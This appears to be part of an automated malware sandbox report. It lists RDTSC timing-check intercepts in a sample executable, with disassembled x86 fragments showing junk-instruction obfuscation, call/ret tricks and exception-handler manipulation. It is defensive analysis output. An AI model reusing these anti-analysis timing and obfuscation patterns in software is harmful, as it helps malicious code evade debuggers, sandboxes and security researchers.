Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E902C second address: 12E90AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F15490E9B88h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov ebx, dword ptr [ebp+122D29B9h] 0x0000002d mov dword ptr [ebp+122D2301h], ebx 0x00000033 push 00000000h 0x00000035 mov ebx, dword ptr [ebp+1245BF45h] 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edx 0x00000040 call 00007F15490E9B88h 0x00000045 pop edx 0x00000046 mov dword ptr [esp+04h], edx 0x0000004a add dword ptr [esp+04h], 0000001Ah 0x00000052 inc edx 0x00000053 push edx 0x00000054 ret 0x00000055 pop edx 0x00000056 ret 0x00000057 mov ebx, 10DE9079h 0x0000005c pushad 0x0000005d xor bh, 00000028h 0x00000060 adc ah, FFFFFFFEh 0x00000063 popad 0x00000064 xchg eax, esi 0x00000065 pushad 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E90AC second address: 12E90C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jne 00007F1548D0B2F6h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f jnc 00007F1548D0B2FEh 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E82E6 second address: 12E82EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA1C7 second address: 12EA252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F1548D0B2F8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 add bx, E491h 0x00000028 or di, 4C23h 0x0000002d xor bl, 0000003Bh 0x00000030 push dword ptr fs:[00000000h] 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007F1548D0B2F8h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 00000018h 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 mov ebx, dword ptr [ebp+122D2AA9h] 0x00000057 mov dword ptr fs:[00000000h], esp 0x0000005e xor edi, 125B18F5h 0x00000064 mov eax, dword ptr [ebp+122D1175h] 0x0000006a mov ebx, dword ptr [ebp+122D2107h] 0x00000070 push FFFFFFFFh 0x00000072 mov bh, DEh 0x00000074 xor dword ptr [ebp+1245B37Bh], esi 0x0000007a nop 0x0000007b push ecx 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB2E7 second address: 12EB2EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EA252 second address: 12EA258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC209 second address: 12EC28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007F15490E9B97h 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F15490E9B91h 0x00000012 nop 0x00000013 mov bx, dx 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F15490E9B88h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F15490E9B88h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 push ebx 0x00000052 push edx 0x00000053 pop edx 0x00000054 pop ebx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB2EB second address: 12EB2F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EB2F1 second address: 12EB306 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15490E9B90h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ED21B second address: 12ED287 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a xor ebx, dword ptr [ebp+122D2A11h] 0x00000010 mov bh, FAh 0x00000012 push 00000000h 0x00000014 pushad 0x00000015 pushad 0x00000016 sbb edx, 6ACAEBA2h 0x0000001c popad 0x0000001d jmp 00007F1548D0B308h 0x00000022 popad 0x00000023 push 00000000h 0x00000025 mov ebx, 07B2C260h 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jmp 00007F1548D0B302h 0x00000033 jmp 00007F1548D0B308h 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC407 second address: 12EC48A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a xor di, 6D7Ch 0x0000000f jmp 00007F15490E9B93h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push edi 0x0000001c push ebx 0x0000001d mov bl, 94h 0x0000001f pop edi 0x00000020 pop ebx 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push ebp 0x0000002b call 00007F15490E9B88h 0x00000030 pop ebp 0x00000031 mov dword ptr [esp+04h], ebp 0x00000035 add dword ptr [esp+04h], 0000001Ah 0x0000003d inc ebp 0x0000003e push ebp 0x0000003f ret 0x00000040 pop ebp 0x00000041 ret 0x00000042 mov edi, ebx 0x00000044 mov dword ptr [ebp+122D3031h], ebx 0x0000004a xor ebx, dword ptr [ebp+122D2A95h] 0x00000050 mov eax, dword ptr [ebp+122D0CA9h] 0x00000056 mov edi, eax 0x00000058 push FFFFFFFFh 0x0000005a mov bl, A8h 0x0000005c mov edi, dword ptr [ebp+122D2AE9h] 0x00000062 nop 0x00000063 jbe 00007F15490E9B90h 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c pop eax 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE2B8 second address: 12EE2BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EE4AC second address: 12EE4CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F15490E9B94h 0x00000010 jmp 00007F15490E9B8Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F0303 second address: 12F035A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D2A71h] 0x00000010 push 00000000h 0x00000012 pushad 0x00000013 mov dword ptr [ebp+122D201Ah], edx 0x00000019 popad 0x0000001a push 00000000h 0x0000001c call 00007F1548D0B308h 0x00000021 ja 00007F1548D0B2F8h 0x00000027 pop ebx 0x00000028 xchg eax, esi 0x00000029 push ebx 0x0000002a jno 00007F1548D0B2FCh 0x00000030 pop ebx 0x00000031 push eax 0x00000032 jl 00007F1548D0B304h 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F035A second address: 12F035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EF4F6 second address: 12EF5AA instructions: 0x00000000 rdtsc 0x00000002 je 00007F1548D0B2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007F1548D0B302h 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 xor ebx, dword ptr [ebp+122D2C79h] 0x0000001b push dword ptr fs:[00000000h] 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F1548D0B2F8h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c movsx ebx, di 0x0000003f mov dword ptr fs:[00000000h], esp 0x00000046 push 00000000h 0x00000048 push ecx 0x00000049 call 00007F1548D0B2F8h 0x0000004e pop ecx 0x0000004f mov dword ptr [esp+04h], ecx 0x00000053 add dword ptr [esp+04h], 00000016h 0x0000005b inc ecx 0x0000005c push ecx 0x0000005d ret 0x0000005e pop ecx 0x0000005f ret 0x00000060 mov edi, ebx 0x00000062 mov eax, dword ptr [ebp+122D0E71h] 0x00000068 mov edi, dword ptr [ebp+1245C271h] 0x0000006e push FFFFFFFFh 0x00000070 add dword ptr [ebp+122D1BB1h], edi 0x00000076 nop 0x00000077 js 00007F1548D0B304h 0x0000007d push eax 0x0000007e push eax 0x0000007f push edx 0x00000080 jmp 00007F1548D0B2FAh 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128D84A second address: 128D850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128D850 second address: 128D859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F4CE3 second address: 12F4D04 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F15490E9B96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F4D04 second address: 12F4D8F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1548D0B2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F1548D0B2F8h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 adc ebx, 41FCFE11h 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007F1548D0B2F8h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000019h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 mov ebx, dword ptr [ebp+122D2C55h] 0x0000004e mov dword ptr [ebp+1245B36Dh], esi 0x00000054 push 00000000h 0x00000056 call 00007F1548D0B303h 0x0000005b adc bx, 50E7h 0x00000060 pop edi 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jc 00007F1548D0B2FCh 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F4D8F second address: 12F4D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F4D93 second address: 12F4D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3E7B second address: 12F3E7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F4F05 second address: 12F4F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F3E7F second address: 12F3E88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F901C second address: 12F9021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F9021 second address: 12F9026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F70B4 second address: 12F70B9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F926C second address: 12F9270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12F9270 second address: 12F9276 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE3BC second address: 12FE3D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301F17 second address: 1301F41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B300h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007F1548D0B2FCh 0x00000010 push eax 0x00000011 jng 00007F1548D0B2F6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130159B second address: 13015A7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13015A7 second address: 13015AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13016E9 second address: 1301709 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F15490E9B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15490E9B92h 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301709 second address: 130170D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1301896 second address: 13018A6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F15490E9B86h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13018A6 second address: 13018AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13018AC second address: 13018B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13018B2 second address: 13018B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13018B7 second address: 13018D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15490E9B90h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F15490E9B86h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13018D6 second address: 13018E0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1548D0B2F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 130C8E6 second address: 130C8F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F15490E9B86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312AA8 second address: 1312AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312AAE second address: 1312AC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15490E9B8Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12977AA second address: 12977AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131193A second address: 131193E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131193E second address: 1311942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5E28 second address: 12E5E2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5F3E second address: 12E5F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6316 second address: 12E6320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F15490E9B86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6426 second address: 12E642B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E642B second address: 12E643D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jo 00007F15490E9B86h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E643D second address: 1121B24 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1548D0B2FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D3522h], ebx 0x00000011 push dword ptr [ebp+122D09C5h] 0x00000017 mov di, D0BFh 0x0000001b call dword ptr [ebp+122D3895h] 0x00000021 pushad 0x00000022 mov dword ptr [ebp+122D282Dh], eax 0x00000028 xor eax, eax 0x0000002a mov dword ptr [ebp+122D1FDFh], ebx 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 cmc 0x00000035 pushad 0x00000036 sub dword ptr [ebp+122D1FDFh], edi 0x0000003c movsx esi, bx 0x0000003f popad 0x00000040 mov dword ptr [ebp+122D2B15h], eax 0x00000046 sub dword ptr [ebp+122D285Bh], eax 0x0000004c mov esi, 0000003Ch 0x00000051 jmp 00007F1548D0B2FEh 0x00000056 add esi, dword ptr [esp+24h] 0x0000005a mov dword ptr [ebp+122D282Dh], ecx 0x00000060 lodsw 0x00000062 cld 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 mov dword ptr [ebp+122D1B96h], eax 0x0000006d mov ebx, dword ptr [esp+24h] 0x00000071 mov dword ptr [ebp+122D1B96h], eax 0x00000077 nop 0x00000078 pushad 0x00000079 push eax 0x0000007a jc 00007F1548D0B2F6h 0x00000080 pop eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F1548D0B305h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E64BD second address: 12E64C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E64C1 second address: 12E6526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jno 00007F1548D0B2F8h 0x0000000f jmp 00007F1548D0B307h 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push ebx 0x0000001a push edi 0x0000001b jo 00007F1548D0B2F6h 0x00000021 pop edi 0x00000022 pop ebx 0x00000023 mov eax, dword ptr [eax] 0x00000025 ja 00007F1548D0B30Eh 0x0000002b jmp 00007F1548D0B308h 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 push eax 0x00000035 push edx 0x00000036 push edi 0x00000037 jne 00007F1548D0B2F6h 0x0000003d pop edi 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E677F second address: 12E6785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E687F second address: 12E6885 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6885 second address: 12E6889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E69C0 second address: 12E69C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6DDF second address: 12E6E22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F15490E9B8Eh 0x00000011 nop 0x00000012 mov edx, dword ptr [ebp+122D289Bh] 0x00000018 push 0000001Eh 0x0000001a mov dx, B337h 0x0000001e nop 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F15490E9B99h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6E22 second address: 12E6E3C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1548D0B2FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c ja 00007F1548D0B2FCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7142 second address: 12E7146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7146 second address: 12E7156 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1548D0B2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push ebx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7233 second address: 12E7241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7241 second address: 12E7294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F1548D0B304h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 xor dword ptr [ebp+122D1BFDh], edi 0x00000016 lea eax, dword ptr [ebp+12497B31h] 0x0000001c jmp 00007F1548D0B307h 0x00000021 jc 00007F1548D0B2F6h 0x00000027 nop 0x00000028 pushad 0x00000029 pushad 0x0000002a jl 00007F1548D0B2F6h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E7294 second address: 12E72A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F15490E9B86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311D77 second address: 1311D91 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F1548D0B2F6h 0x00000008 jmp 00007F1548D0B2FCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311D91 second address: 1311DC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F15490E9B96h 0x0000000d jl 00007F15490E9B9Dh 0x00000013 jmp 00007F15490E9B91h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
